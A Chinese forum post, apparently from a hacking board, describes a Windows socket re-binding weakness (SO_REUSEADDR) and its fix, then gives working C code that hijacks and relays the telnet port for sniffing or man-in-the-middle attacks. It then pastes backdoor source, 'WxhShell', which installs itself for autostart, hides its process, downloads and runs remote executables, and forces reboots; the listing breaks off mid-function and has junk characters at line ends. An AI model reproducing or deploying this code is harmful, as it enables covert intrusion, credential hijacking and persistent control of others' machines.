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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &Is%I<'o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); we9AB_y  
JiR|+6"7  
  saddr.sin_family = AF_INET; l?;S>s*\?  
5Fl|=G+3@g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :.,I4>b2  
ghl9gFFj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .^23qCs  
5`Bb0=j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @[Th{HTc.G  
nj  
  这意味着什么?意味着可以进行如下的攻击: 4]GyuY  
ZSNg^)cN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z"jo xZ  
|Th{*IJ <,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gnGw7V  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p=zm_+=  
i]v!o$7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .uP$M(?j  
o&zV8DE_v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 OZ6%AUot  
z$NLFJvy_-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tj3p71%  
wHmEt ORo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R)=<q]Ms  
e_I 8Jj4  
  #include  e(^O8  
  #include C1J'. !  
  #include -_3.]o/J  
  #include    H;6V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   o>YR Kb  
  int main() sXWMXQ3  
  { qA30G~S  
  WORD wVersionRequested; 5eYCnc9  
  DWORD ret; 1^COR+>L  
  WSADATA wsaData; fOJyY[  
  BOOL val; dj=n1f+;[  
  SOCKADDR_IN saddr; R+\5hI@ >i  
  SOCKADDR_IN scaddr; };*5+XY^  
  int err; .o>QBYpTw/  
  SOCKET s; RwE]t$T/  
  SOCKET sc; \0$?r4A  
  int caddsize; -l",!sV  
  HANDLE mt; ])`F$S  
  DWORD tid;   H4N==o  
  wVersionRequested = MAKEWORD( 2, 2 ); X:A\{^ ~  
  err = WSAStartup( wVersionRequested, &wsaData ); >nxtQ  
  if ( err != 0 ) { 8Y9mB #X  
  printf("error!WSAStartup failed!\n"); 7"NUof?i  
  return -1; L2$%h1  
  } }\W3a_,v)  
  saddr.sin_family = AF_INET; 7>nA;F 8_  
   )JPcSy*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Wg[`H=)Q  
K"#}R<k8:A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zri<'W  
  saddr.sin_port = htons(23); S%4 K-I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XxIUB(.QI  
  { \h-[u%  
  printf("error!socket failed!\n"); wcO+P7g  
  return -1; ,Y*f]  
  } SG~R!kN}Q  
  val = TRUE; u1uY*p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K"pfp !Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1#'wR3[+  
  { Xf0pQ]8\  
  printf("error!setsockopt failed!\n"); 4&\m!s  
  return -1; @*oi1_q  
  } TzOf&cs/r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tFGLqR%/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 it.l;L_nW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `27? f$,  
Kl* ##qw!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9u9#&xx  
  { "x{S3v4Rb5  
  ret=GetLastError(); GXAcy OV  
  printf("error!bind failed!\n"); Uz0mSfBp  
  return -1; G -;Yua2\  
  } ]?kf;A@  
  listen(s,2); a}wB7B;,g  
  while(1) 6ugBbP +^  
  { .JzO f[g5  
  caddsize = sizeof(scaddr);  np~oF  
  //接受连接请求 ISl'g'o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a^2?W  
  if(sc!=INVALID_SOCKET) |$D^LY  
  { 1}(g=S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); HJ2]xe09  
  if(mt==NULL) Z#F2<*+Pe  
  { FOZqN K  
  printf("Thread Creat Failed!\n"); p\(%bO   
  break; QKVZ![Y!s  
  } }, ]W/  
  } 9TF[uC)-2  
  CloseHandle(mt); DI*xf Kt  
  } 8]0^OSS  
  closesocket(s); rO-Tr  
  WSACleanup(); #hai3>9|B  
  return 0; Hi ?],5,/  
  }   AVi|JY)>  
  DWORD WINAPI ClientThread(LPVOID lpParam) cD{[rI E3  
  { a9"Gg}h\  
  SOCKET ss = (SOCKET)lpParam; ]Z~H9!%t  
  SOCKET sc; Y A;S'dxY  
  unsigned char buf[4096]; _uRgKoiy  
  SOCKADDR_IN saddr; W4Eo1 E  
  long num; y"7?]#$9/  
  DWORD val; 6rRPqO j  
  DWORD ret;  bSmRo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?vZ&CB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sl)_HA7G  
  saddr.sin_family = AF_INET; 0n1y$*I4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Gm*i='f!?  
  saddr.sin_port = htons(23); sI~{it#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HMBxj($eR  
  { D3I;5m`_  
  printf("error!socket failed!\n"); nGRF< 2!  
  return -1; 7OT}V}iP  
  } d/;oNC+  
  val = 100; }ulFW]A^7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A}$A~g5 Ap  
  { utQ_!3u  
  ret = GetLastError(); s,0,w--=  
  return -1; Q tRKmry{  
  } T IS}'c'C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?4xTA  
  { =6? 3c\  
  ret = GetLastError(); -tDmzuD6  
  return -1; ~_R=2t{u _  
  } u%&zY97/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w;X-i.%`  
  { WhvO-WF  
  printf("error!socket connect failed!\n"); byd[pnI$H  
  closesocket(sc); GXsHc,  
  closesocket(ss); Ij#?r2Z%  
  return -1; lT*Hj.  
  } '*22j ]  
  while(1) rQ/S|gG  
  { Ua( !:5q?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }4+S_b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z,ag5 w`]L  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C,K P!B{  
  num = recv(ss,buf,4096,0); Y(<>[8S m  
  if(num>0) #A?U_32z/2  
  send(sc,buf,num,0); a?@j`@]ZR~  
  else if(num==0) *!Xhy87%Z)  
  break; iX~V(~v  
  num = recv(sc,buf,4096,0); YT#" HYO  
  if(num>0) [_${N,1  
  send(ss,buf,num,0); #S QFI;zj  
  else if(num==0) GCc@ :*4[  
  break; w(s"r p}  
  } c>I^SY(r%  
  closesocket(ss); U{HJNftdpm  
  closesocket(sc); _t3n<  
  return 0 ; ]_j{b)t  
  } Io| 72W}rg  
U2!9Tl9".  
9QZ;F4 r  
========================================================== YwEXTy>0  
h@l5MH=|%  
下边附上一个代码,,WXhSHELL kyz_r6  
#m|AQr|  
========================================================== AOhsat;O`  
OZ0q6"  
#include "stdafx.h" Pr/K5aJeg  
k_$w+Q  
#include <stdio.h> Hb IRE  
#include <string.h> p)d'yj  
#include <windows.h> D@&0 P&  
#include <winsock2.h> &R>x;&Gj  
#include <winsvc.h> ,+%$vV .g\  
#include <urlmon.h> 8D)2/$NsY}  
#\o VbVq  
#pragma comment (lib, "Ws2_32.lib") 3-srt^>w*  
#pragma comment (lib, "urlmon.lib") 7>v1w:cC]  
-bduB@#2d  
#define MAX_USER   100 // 最大客户端连接数 W|; .G9  
#define BUF_SOCK   200 // sock buffer #%Uk}5;-  
#define KEY_BUFF   255 // 输入 buffer  !3}vl Y1  
O0c#-K.f  
#define REBOOT     0   // 重启 3\G&fb|?}R  
#define SHUTDOWN   1   // 关机 V#=o<  
r( :"BQ  
#define DEF_PORT   5000 // 监听端口 r@^h,  
mRFcZ.7  
#define REG_LEN     16   // 注册表键长度  g&#.zJ[-  
#define SVC_LEN     80   // NT服务名长度 I[G<aI!  
QVm3(;&'  
// 从dll定义API {088j?[hzk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m^%[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #GY;.,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R"VmN2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _6(QbY'JV`  
*EvnN:  
// wxhshell配置信息 +QqYf1@F  
struct WSCFG { ) j_g*<  
  int ws_port;         // 监听端口 A9!%H6  
  char ws_passstr[REG_LEN]; // 口令 ?,O{,2}  
  int ws_autoins;       // 安装标记, 1=yes 0=no D*I%=);B_  
  char ws_regname[REG_LEN]; // 注册表键名 ]8<;,}#  
  char ws_svcname[REG_LEN]; // 服务名 $-EbJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _T7tq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MkF:1-=L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y FL9Q<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oyiEOC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :"#EQq]ct  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AbC /  
49E<`f0  
}; wWQv]c%  
'!I^Lfz-Z  
// default Wxhshell configuration FcB]wz  
struct WSCFG wscfg={DEF_PORT, #%rXDGDS  
    "xuhuanlingzhe", M8oI8\6[  
    1, H~^am  
    "Wxhshell", 2xN1=ug  
    "Wxhshell", 4#{i  
            "WxhShell Service", dd@qk`Zl&A  
    "Wrsky Windows CmdShell Service", !U/iY%NE  
    "Please Input Your Password: ", ]g2Y/\)a  
  1, 9# IKb:9k  
  "http://www.wrsky.com/wxhshell.exe", al.~[T-O+  
  "Wxhshell.exe" y+hC !-  
    }; g@BQ!}_#5  
J*vy-[w  
// 消息定义模块 |$`)d87,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l\vtz5L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !ZPaU11  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,b%T[s7  
char *msg_ws_ext="\n\rExit."; W9D]s~bO;  
char *msg_ws_end="\n\rQuit."; 6hv4D`d;o  
char *msg_ws_boot="\n\rReboot..."; W2e~!:w  
char *msg_ws_poff="\n\rShutdown..."; SQ9s  
char *msg_ws_down="\n\rSave to "; t9685s  
tIR"y:U+  
char *msg_ws_err="\n\rErr!"; NpG5$?  
char *msg_ws_ok="\n\rOK!"; ],YIEOx6  
-K9bC3H  
char ExeFile[MAX_PATH]; p,.+i[V  
int nUser = 0; ^p ?O1qTg  
HANDLE handles[MAX_USER]; *4"s,1?@BG  
int OsIsNt; M^JRHpTn  
Dm?>U1{   
SERVICE_STATUS       serviceStatus; rV>/:FG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &=oW=g2  
D<B/oSy  
// 函数声明 /B73|KB+  
int Install(void); 03Pa; n  
int Uninstall(void); g .ty#Z=:  
int DownloadFile(char *sURL, SOCKET wsh); sDL@e33Yb  
int Boot(int flag); |r[yMI|VR  
void HideProc(void); 2 UU5\ jV6  
int GetOsVer(void); f0]8/)  
int Wxhshell(SOCKET wsl); _C$JO   
void TalkWithClient(void *cs); sS/#)/B  
int CmdShell(SOCKET sock); @.T(\Dq^  
int StartFromService(void); `OO=^.-u  
int StartWxhshell(LPSTR lpCmdLine); Bt[OGa(q  
&(UVS0=Dp,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P~$FgAV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {h5 S=b  
u4*7 n-(  
// 数据结构和表定义 RG1~)5AL~Y  
SERVICE_TABLE_ENTRY DispatchTable[] = L5=Tj4`  
{ {KYbsD  
{wscfg.ws_svcname, NTServiceMain}, m`l3@ Z  
{NULL, NULL} ]@)T]  
}; >Ng7q?h   
^_BHgbS%;  
// 自我安装 JfS:K'  
int Install(void) \' (_r  
{ {Bk9]:'$5  
  char svExeFile[MAX_PATH]; H-$)@  
  HKEY key; g"gh2#!D  
  strcpy(svExeFile,ExeFile); iLiEh2%P  
ICwhqH&  
// 如果是win9x系统,修改注册表设为自启动 jsL\{I^>  
if(!OsIsNt) { HL-zuZa`Ju  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YcW[BMy5h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gU1E6V-Jm  
  RegCloseKey(key); eV$pza  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ej\EuX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C,T9xm  
  RegCloseKey(key); <Hw)},_*  
  return 0; %"Tn=fZIF  
    } 'wB6-  
  } Rd7[e^HSN  
} <20rxOEnf  
else { yDh(4w-~gk  
PI@/jh  
// 如果是NT以上系统,安装为系统服务 \-3\lZ3qj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V9 qZa  
if (schSCManager!=0) 0T-y]&uo  
{ mGR}hsQpn  
  SC_HANDLE schService = CreateService <\uz",e}  
  ( /Qi;'h]  
  schSCManager, 3NRxf8  
  wscfg.ws_svcname, vM@2C'  
  wscfg.ws_svcdisp, U%oh ?g  
  SERVICE_ALL_ACCESS, ~^jdiy5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .1R:YNx{/  
  SERVICE_AUTO_START, _q*4+x  
  SERVICE_ERROR_NORMAL, rrBu6\D  
  svExeFile, :l<)p;\  
  NULL, wO:!B\e  
  NULL, f@U\2r  
  NULL, C%P)_)- -V  
  NULL, CMI'y(GN  
  NULL ivL}\~L  
  ); 5y]1v  
  if (schService!=0) v_-S#(  
  { + <AD  
  CloseServiceHandle(schService); 3J t_=!qlo  
  CloseServiceHandle(schSCManager); \z>Re$:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^wesuW@=  
  strcat(svExeFile,wscfg.ws_svcname); pm$ZKM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =\CJsS.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =*EIe z*.x  
  RegCloseKey(key); 242dT/j  
  return 0; z~tCag8I(k  
    } *=UxX ] 0y  
  } Pp-\#WJ  
  CloseServiceHandle(schSCManager); ie4keVlXc  
} f4.k%|]  
} lR] z8 &  
(bEX"U-  
return 1; 1n}q6oa=  
} P(OgT/7A  
&6!~Q,;K-  
// 自我卸载  z.fh4p  
int Uninstall(void) |X&.+RI  
{ hT:+x3  
  HKEY key; @j +8M  
7w}D2|+  
if(!OsIsNt) { x:'M\c7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B&^WRM;7t  
  RegDeleteValue(key,wscfg.ws_regname); ke.{wh\0  
  RegCloseKey(key); VrL==aTYXs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V=yRE  
  RegDeleteValue(key,wscfg.ws_regname); gp07I{0~m  
  RegCloseKey(key); v @zpF)|  
  return 0; :|hFpLt  
  } +B^(,qKMN  
} QoZ7l]^  
} a^yBtb~,P  
else { |Z%I3-z_DS  
Xk#"rM< Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @\-i3EhR  
if (schSCManager!=0) b=:$~N@Y  
{ (!F Uu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TMt,\gTd  
  if (schService!=0) =gI;%M\'  
  { 4o,%}bo&  
  if(DeleteService(schService)!=0) { >:W7f2%8`  
  CloseServiceHandle(schService); >7@kwj-f)  
  CloseServiceHandle(schSCManager); $Pa7B]A,Ae  
  return 0; a*4"j2j v  
  } u`E24~  
  CloseServiceHandle(schService); YTBZklM  
  } Cj).  
  CloseServiceHandle(schSCManager); cd8ZZ 8L  
} [hy:BV6H+  
} gH87e  
;zy[xg.7  
return 1; |~'D8 g:Ak  
} J?/.|Y]e  
O6rrv,+_L  
// 从指定url下载文件 >dH5n$Gb  
int DownloadFile(char *sURL, SOCKET wsh) {"<6'2T3  
{ ml7nt 0{  
  HRESULT hr; yX:A?U  
char seps[]= "/"; .Z=4,m>  
char *token;  =[Lo9Sg  
char *file; jO'+r'2B9  
char myURL[MAX_PATH]; 3/ sKRU  
char myFILE[MAX_PATH]; )h(Dt(2Wm  
}7k!>+eQ  
strcpy(myURL,sURL); F\m  
  token=strtok(myURL,seps); a`}b'X:  
  while(token!=NULL) y/' ^r?  
  { -9BKa~ DVQ  
    file=token; xw60l&s.\L  
  token=strtok(NULL,seps); \EH:FM}l,  
  } u3{gX{so  
Y-(),k_Q:  
GetCurrentDirectory(MAX_PATH,myFILE); HV:mS*e  
strcat(myFILE, "\\"); cv fh:~L  
strcat(myFILE, file); "BB#[@  
  send(wsh,myFILE,strlen(myFILE),0); <pd6,l\  
send(wsh,"...",3,0); 5j(3pV`_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y w"Tw  
  if(hr==S_OK) !\{&^,y  
return 0; 4Q0@\dR9  
else X|.M9zIx  
return 1; @g|E b}t  
qw A N=3@  
} wn*z*  
x?Wt\<|h!  
// 系统电源模块 Sz0M8fYT]  
int Boot(int flag) ZdQm& ?  
{ (]'Q!MjGa  
  HANDLE hToken; wK 8/`{B9  
  TOKEN_PRIVILEGES tkp; dZ!Wj7K)  
]a% *$TF  
  if(OsIsNt) { 6T6 S9A*nT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hjiU{@q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oOk.Fq  
    tkp.PrivilegeCount = 1; j=v1:E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .8is! TT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O[RmQ8ll  
if(flag==REBOOT) { _]E ~ci}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H) g:<  
  return 0; #8;|_RU  
} {8M=[4_`l  
else { 7e&R6j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Oq{&hH/'}  
  return 0; 9IL#\:d1  
} 4!lbwqo  
  } OwIW;8Z  
  else { m:TS .@p  
if(flag==REBOOT) { bhXH<=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U*8;ZXi  
  return 0; ? WWnt^  
} Kq/W-VyGh  
else { ]UnZc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xu#\CYk  
  return 0; gF% lwq  
} W38My j!  
} 0pYz8OB  
b2 ~~ !C  
return 1; y(|6`  
} Gy[;yLnX  
<!:,(V>F(C  
// win9x进程隐藏模块 z602(mxGg  
void HideProc(void) JH2?^h|{  
{ c L*D_)?8  
ssW+'GD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6w K=  
  if ( hKernel != NULL ) -tT{h 4  
  { ,=l MtW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^DHFP-G?e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L>{E8qv>w  
    FreeLibrary(hKernel); [!{*)4$6  
  } 64}Oa+*s  
M;W{A)0i1  
return; zMX7 #,  
} =mCUuY#  
j'-akXo<  
// 获取操作系统版本 c=H(*#  
int GetOsVer(void) VL"ZC:n)-  
{ sSOI5W3A  
  OSVERSIONINFO winfo; +-,Q>`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IoNZ'g?d  
  GetVersionEx(&winfo); T3['6%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r&"}zyL  
  return 1; .hgc1  
  else +3vK=d_Va  
  return 0; :c,\8n  
} Rs)tf|`/  
xZFha=#  
// 客户端句柄模块 AW6]S*rh  
int Wxhshell(SOCKET wsl) v:CYf_  
{ YP~d1BWvf  
  SOCKET wsh; EA75 D&>I  
  struct sockaddr_in client; _6qf>=qQ`"  
  DWORD myID; BW:&AP@B  
5L|yF"TI#  
  while(nUser<MAX_USER) qB@]$  
{ }.gDaxj  
  int nSize=sizeof(client); ;: Hfkyy]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {a_= 4a  
  if(wsh==INVALID_SOCKET) return 1; z>k6T4(  
=(*Eh=Pw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ` e~/  
if(handles[nUser]==0) :RHNV  
  closesocket(wsh); PiI ):B>  
else }K;@$B6,@  
  nUser++; F=B>0Q5   
  } ]*}*zXN/E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X=(8t2  
Pf)<6?T  
  return 0; VYf$0oo\4  
} u4$d#0sA  
?TE#4}p|  
// 关闭 socket H1|X0 a(j  
void CloseIt(SOCKET wsh) KBzEEvx/$  
{ Mim 9C]h(  
closesocket(wsh); )rhKWg  
nUser--; dz5bW>  
ExitThread(0); - J!F((jt  
} -N5r[*>  
S=[K/Kf-  
// 客户端请求句柄  A`#v-  
void TalkWithClient(void *cs) /lttJJDU  
{ 8c+i+gp!  
EPI mh  
  SOCKET wsh=(SOCKET)cs; Sijwh1j*V  
  char pwd[SVC_LEN]; 4,FkA_k  
  char cmd[KEY_BUFF]; %S>lPt  
char chr[1]; ,k{{ZP P  
int i,j; *v:+A E  
}?*:uf  
  while (nUser < MAX_USER) { L7n->8Qk  
&z{oVU+mA  
if(wscfg.ws_passstr) { 3X0^xUA6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * _C6. %{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~u%9@}Oo>  
  //ZeroMemory(pwd,KEY_BUFF); $q.8ve0&^  
      i=0; $+JaEF`8  
  while(i<SVC_LEN) { VbBZ\`b  
&[S)zR=?  
  // 设置超时 3z&,>CEX  
  fd_set FdRead;  +aP %H  
  struct timeval TimeOut; "5XD+qi  
  FD_ZERO(&FdRead); ,n &|+&  
  FD_SET(wsh,&FdRead); :+]6SC0ql  
  TimeOut.tv_sec=8; I$qL=  
  TimeOut.tv_usec=0; a<!g*UVL0M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F8b*Mt}p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IIop"6Ko  
o,bV.O.W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7_#v_ A^  
  pwd=chr[0]; 1P8$z:|~  
  if(chr[0]==0xd || chr[0]==0xa) { mg'-]>$$]  
  pwd=0; M P0ww$(  
  break; K+T`'J4  
  } LdWeI  
  i++; /;HytFP  
    } w'M0Rd]  
aH"tSgi  
  // 如果是非法用户,关闭 socket 0%F C;v0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,dBtj8=  
} s.zH.q,  
F\-qXSA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^N Et{]x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]o,)#/' $  
aM?7'8/  
while(1) { X:8=jHkz  
J_rCo4}  
  ZeroMemory(cmd,KEY_BUFF); EF)kYz!@  
c~R ElL  
      // 自动支持客户端 telnet标准   \FVR'A1  
  j=0; PK3T@Qv89  
  while(j<KEY_BUFF) { +|#sF,,X4g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2U~oWg2P  
  cmd[j]=chr[0]; lt,x(2  
  if(chr[0]==0xa || chr[0]==0xd) { s)/i_Oe$\  
  cmd[j]=0; .vpQ3m>  
  break; Qg9{<0{u  
  } {j:{wW.  
  j++;  Kn\Oj=4  
    } 8l!S<RA  
L>@0Nne7  
  // 下载文件 4 Iy\   
  if(strstr(cmd,"http://")) {  J|6aa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6_zL#7E'  
  if(DownloadFile(cmd,wsh)) `;cKN)Xk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A*\4C3a'%  
  else '^Sa|WXq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +#&2*nY  
  } )}WG`  
  else { wy) Frg  
,8$;|#d  
    switch(cmd[0]) { m} Yf6:cr  
  u{6*}6@fi  
  // 帮助 3kYUO-qw  
  case '?': { hC6$>tl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )%,bog(x  
    break; x( mY$l,il  
  } krz@1[w-j  
  // 安装 [FyE{NfiJ%  
  case 'i': { w`#lLl B  
    if(Install()) >-)i_C2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z)|56 F7'  
    else |:H[Y"$1;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T w"^I*B  
    break; D eXnE$XH  
    } a |z{B b  
  // 卸载 $: Qi9N   
  case 'r': { _V8pDcY  
    if(Uninstall()) ~=0zZTG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Itz_;+I.Mp  
    else R )?8A\<E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <'GI<Hc  
    break; y'4=  
    }  d(v )SS  
  // 显示 wxhshell 所在路径 |n6nRE wW  
  case 'p': { =BX<;vU  
    char svExeFile[MAX_PATH]; ~"=nt@M]  
    strcpy(svExeFile,"\n\r"); lZ_i~;u4@v  
      strcat(svExeFile,ExeFile); G3?8GTH  
        send(wsh,svExeFile,strlen(svExeFile),0); ?J<4IvL/  
    break; PJ #uYM  
    } EzG7RjW  
  // 重启 YO-O-NEP  
  case 'b': { vn,L),"=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H%])>  
    if(Boot(REBOOT)) z ^a,7}4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y%wF;I1x  
    else { >nl *aN  
    closesocket(wsh); !vett4C* K  
    ExitThread(0); tb@/E  
    } \>I&UFfH)4  
    break; )cOm\^,  
    } 9B*SWWAj  
  // 关机 },[j+wx  
  case 'd': { =VY[m-q5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @~a52'\  
